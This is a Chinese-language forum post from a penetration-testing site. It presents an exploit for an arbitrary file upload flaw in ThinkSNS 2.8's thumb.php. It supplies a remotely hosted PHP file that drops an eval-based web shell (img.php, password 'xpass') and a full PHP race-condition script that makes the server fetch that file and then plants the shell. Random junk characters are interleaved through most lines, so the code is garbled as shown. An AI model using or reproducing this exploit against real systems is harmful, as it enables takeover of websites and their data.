中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本! N6 l7 C, }$ K  D) R
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
/ @3 P2 p0 ~( ^2 B) i" Z漏洞文件
# u. x' ^* i9 b6 A- ^存在漏洞的文件为:thumb.php
0 f  p" l( Z9 ^& Y1 S作者:韦鲲鹏! L8 T" U! h' C. F- _, J
1、        准备如下PHP文件并上传到服务器(自己的)。
4 \# z- m/ a# e  g文件内容如下:
% v7 q" e) M4 G! U. s<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>/ _# ?: M% S& s- u2 R" j
2、        计算出临时的文件名:/ g. e+ B: a. @- S! N
这里我们可以看文件的99行(刚刚是不是没注意呀!)。! V" Y3 V, Z' D" t3 `4 g$ Y) k% ~8 u

1 r9 C) z5 b# h3 ~% K3、        上传临时文件。
- v( D3 p4 Q/ w0 F1 q4 [4、        访问临时文件。. H: U3 a, |, Z  Z" C2 D! z
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。): Q, a: q/ B# Z" Y- h
Exploit文件内容如下:(这个我就不详细解释了)! l% f. h" ]* i: b! h! x) S4 Z
<?php
! C5 `: x0 \; s1 o, ]2 aerror_reporting(0);
3 I& |8 o: ]- l* kset_time_limit(0);  @. [! W/ A! T
ini_set(“default_socket_timeout”, 5);
9 L  g% k7 N8 w. _function http_send($host, $port, $headers) {9 j: K* L" [% X6 C2 s/ a
$fp = fsockopen($host, $port);! p1 A0 d! t- m" d2 D- u
if (!$fp) die(‘Connection -> fail’);
) H% i- B4 {0 [fputs($fp, $headers);
$ O) B( w  O$ c7 H# }9 Vreturn $fp;
/ Q% i9 N8 |* ~. I& s; U  Z}
% {+ q7 w. p& m3 Lfunction http_recv($fp) {' j& W5 D9 K& ]7 a/ Y
$ret=”";
) G+ e2 Y( c4 x! swhile (!feof($fp))
# }, O7 z" _1 B1 T4 q+ D1 j" ?6 {$ret.= fgets($fp, 1024);8 s. |' b: |# G
fclose($fp);
5 f  C5 t  g2 m" Yreturn $ret;
; N; q3 A" @" R  M( R}, A/ s8 X, p  {/ r
print “\n#  ThinkSns Arbitrary File Upload   #\n”;+ T7 g% A4 G6 J
print “# Discovered by 韦鲲鹏 #\n\n”;
0 P! J( R5 N% Dif ($argc < 4) {, P' u8 Z1 [0 h( }; |4 e  J
print “Usage:   php <host> <path> <romote_url>\n”;5 ^5 o* E% w& W1 T+ Q# f/ f" ~* g
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 m, h& \" L+ ^# u, r7 t& _die();. s8 Y% A: b' B+ X( C
}$ E, l$ ?$ S! a3 V3 [: `( y
$host = $argv[1];
9 |9 m0 X* g$ J" q. C$path = $argv[2];: G, L- s5 M/ b+ ?
$url = $argv[3];
% W) H' F7 ]1 r( K/ h$i=0;# x1 Z; y: V) H) |* b: l$ X
//上传数据包
4 l- l% O- p  T1 h7 ~; p7 @  T+ }2 s$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
6 M' f$ ^" I$ T- L( E$headers_up .= “Host: “.$host.”\r\n”;
) |, q0 [& G( Q7 k  P$headers_up .= “Connection: close\r\n\r\n”;
  Q/ Z- A4 b5 D6 H6 S+ L; x' }) vecho $headers_up;3 k. Z7 M  W! d
//临时文件访问数据包; A5 e. m& f, }7 `. h6 M
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
3 T* O5 c0 _2 m: @  x1 \$headers .= “Host: “.$host.”\r\n”;) V! P# f% j+ p% W/ t% p
$headers .= “Connection: close\r\n\r\n”;
" F$ i3 K  }9 Aecho $headers;6 j0 @) [  p# A
while(++$i<10) {
: N  t; a  F+ ffclose(http_send($host, 80, $headers));% x; s) R# L1 x$ N7 J
}5 y% m+ g' N5 g! E9 j8 G
fclose(http_send($host, 80, $headers_up));) R6 E7 d/ C' A6 e; A5 x
while(++$i<50) {( r' W6 z2 y) M3 y
fclose(http_send($host, 80, $headers));# ]0 |) l: H) d. r* ?! y, u
}/ s  z9 _4 l9 W& S' \; I
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
7 e4 j* }5 {* @& P7 W# H$headers .= “Host: “.$host.”\r\n”;
, j  ]: }7 U8 r) G" _/ B3 \$headers .= “Connection: close\r\n\r\n”;
! e+ T$ f4 }! G# V. J$res=http_recv(http_send($host, 80, $headers));
% c4 o8 U  K' z" Vif(preg_match(‘/200 OK/’,$res)) {
. ?+ \! z" _$ v8 H9 P; [1 x1 a- Wprint “Success!\n\n”;3 r8 \& w! @% K& J8 ^4 O% w! c5 w
} else {
$ p: J4 n' J) m  Yprint “Fail!\n\n”;. p7 F' |. V; d$ w- I9 A
}
2 y6 z% E& D. g) s?>
+ E& h" l3 N  p6 n7 x  F% H" Q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2